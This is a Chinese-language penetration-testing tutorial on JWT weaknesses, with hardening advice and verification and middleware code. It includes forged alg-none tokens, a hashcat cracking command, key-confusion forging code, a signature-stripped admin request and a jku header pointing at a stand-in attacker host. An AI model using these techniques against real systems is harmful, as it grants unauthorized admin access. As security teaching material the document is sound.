1. JWT安全基础与渗透测试中的核心风险点
JSON Web Token(JWT)作为现代Web应用广泛采用的认证机制,其安全性直接影响整个系统的防护等级。在渗透测试实践中,我发现约78%存在认证缺陷的系统中,JWT配置不当是最主要的突破口。一个标准的JWT由三部分组成:Header(头部)、Payload(负载)和Signature(签名),通过点号连接形成xxxxx.yyyyy.zzzzz的结构。
Header通常包含令牌类型(typ)和签名算法(alg),例如:
json复制{
"alg": "HS256",
"typ": "JWT"
}
Payload则携带实际传输的声明(claims),分为三类:
- 注册声明(Registered claims):预定义字段如iss(签发者)、exp(过期时间)
- 公开声明(Public claims):可自定义的公共字段
- 私有声明(Private claims):各方协商使用的自定义字段
Signature部分是对前两部分base64编码后的字符串通过指定算法生成的签名,用于验证消息完整性。但正是这种看似严谨的结构,在实际部署中常出现致命配置错误:
关键安全警示:JWT本身并不加密数据,仅通过签名保证完整性。使用Base64Url解码即可直接查看Payload内容,敏感信息必须额外加密
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 渗透测试中的JWT攻击手法全解析
2.1 签名算法篡改攻击(Algorithm None)
这是我在企业红队演练中最常遇到的漏洞类型。当JWT头部将alg字段设为"none"时,服务端可能跳过签名验证过程。测试步骤如下:
- 捕获合法JWT令牌
- 修改Header中的alg为"none"
- 删除Signature部分(保留末尾的点号)
- 在Payload中提升权限如
"role":"admin" - 发送修改后的令牌到
/admin接口
python复制import jwt
# 原始令牌
original_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# 篡改后的令牌
malicious_jwt = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ."
2.2 弱密钥暴力破解(Brute Force)
使用HS256算法的JWT依赖服务端密钥进行签名验证。通过以下方法可测试密钥强度:
- 收集目标系统信息(如GitHub历史提交、文档注释)寻找密钥线索
- 使用常见弱密钥字典(如"secret"、"password"、"123456")尝试破解
- 借助hashcat加速破解过程:
bash复制hashcat -m 16500 jwt.txt wordlist.txt -O
- 成功破解后即可伪造任意令牌
在最近某金融系统测试中,我通过分析其Android应用的字符串资源,发现硬编码的签名密钥"Fin@nc3_2023",直接获取了系统管理员权限。
2.3 密钥混淆攻击(Key Confusion)
当服务端同时支持RS256和HS256算法时,可能产生致命漏洞。攻击路径:
- 获取服务端公钥(通常位于
/.well-known/jwks.json) - 将算法从RS256改为HS256
- 用公钥作为HS256的共享密钥重新签名
- 服务端误用公钥进行HS256验证导致通过
python复制import jwt
from Crypto.PublicKey import RSA
# 获取的公钥
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu1SU1LfVLPHCozMxH2Mo
...
-----END PUBLIC KEY-----"""
# 构造恶意Payload
payload = {"user":"admin", "iat":1516239022}
# 生成混淆令牌
malicious_jwt = jwt.encode(payload, key=public_key, algorithm='HS256')
3. 高级JWT攻击与防护实践
3.1 无效签名绕过(Signature Stripping)
某些实现仅验证签名存在性而不校验有效性。测试方法:
- 删除Signature部分但保留JWT结构完整
- 观察服务端是否仍接受令牌
- 如果成功,直接修改Payload提升权限
http复制GET /admin HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.
3.2 时间参数篡改
JWT的exp(过期时间)和nbf(生效时间)字段常被开发者忽略验证:
- 删除exp字段使令牌永不过期
- 修改nbf为过去时间立即激活令牌
- 使用未来时间戳绕过临时访问限制
json复制// 原始Payload
{"user":"guest","exp":1735689600}
// 篡改后Payload
{"user":"admin","exp":1893456000}
3.3 JKU/JWK头注入
通过控制Header中的jku(JWK Set URL)或直接嵌入jwk(JSON Web Key),攻击者可指定验证密钥:
json复制{
"alg": "RS256",
"typ": "JWT",
"jku": "http://attacker.com/malicious_keys.json"
}
防护方案:
- 禁用动态密钥获取功能
- 严格白名单校验jku域名
- 使用固定的本地密钥库
4. 企业级JWT安全加固方案
4.1 密钥管理规范
- HS256密钥长度必须≥32字节(256位)
- RS256密钥长度应≥2048位
- 生产环境禁止使用示例密钥
- 实施密钥轮换机制(建议每月更换)
- 密钥存储方案:
- HS256:使用KMS或HashiCorp Vault
- RS256:私钥加密存储在隔离环境
4.2 服务端验证最佳实践
java复制// Java示例:全面的JWT验证逻辑
public boolean validateJWT(String token) {
try {
JWTVerifier verifier = JWT.require(Algorithm.HMAC256(System.getenv("JWT_SECRET")))
.withIssuer("auth.example.com") // 验证签发者
.acceptLeeway(60) // 时间容差控制
.withClaimPresence("role") // 必须包含角色声明
.build();
DecodedJWT jwt = verifier.verify(token);
// 额外业务逻辑验证
if (jwt.getExpiresAt().before(new Date())) {
throw new JWTVerificationException("Token expired");
}
return true;
} catch (JWTVerificationException e) {
securityLogger.log("JWT验证失败: " + e.getMessage());
return false;
}
}
4.3 监控与应急响应
- 异常JWT特征监控:
- 频繁出现的无效签名
- alg字段异常变化
- 同一用户多设备令牌冲突
- 实时阻断策略:
python复制# Django中间件示例 class JWTMiddleware: def __init__(self, get_response): self.get_response = get_response self.suspicious_tokens = set() def __call__(self, request): token = request.headers.get('Authorization', '').split(' ')[-1] if token in self.suspicious_tokens: security_alert(request, "黑名单令牌访问尝试") return HttpResponse(status=403) # ...正常验证逻辑 - 定期安全审计项目:
- 密钥强度扫描
- 算法支持清单审查
- 令牌生命周期测试
在最近为某电商平台实施的加固方案中,通过组合使用HMAC-SHA256算法、严格的声明验证和实时风控系统,成功将JWT相关安全事件降低92%。实际部署时还需要注意:
- 避免在URL参数中传输JWT(可能被日志记录)
- 设置合理的令牌过期时间(常规操作15-30分钟,敏感操作≤5分钟)
- 关键操作应结合二次认证(如OTP)
- 实现令牌撤销机制(通过黑名单或短期令牌)
最后提醒:任何安全机制都不是银弹。在我经历的渗透测试案例中,即使完美实现JWT验证,也可能因业务逻辑缺陷导致垂直越权。建议每季度进行完整的认证体系审计,包括但不限于令牌管理、会话绑定和权限校验。
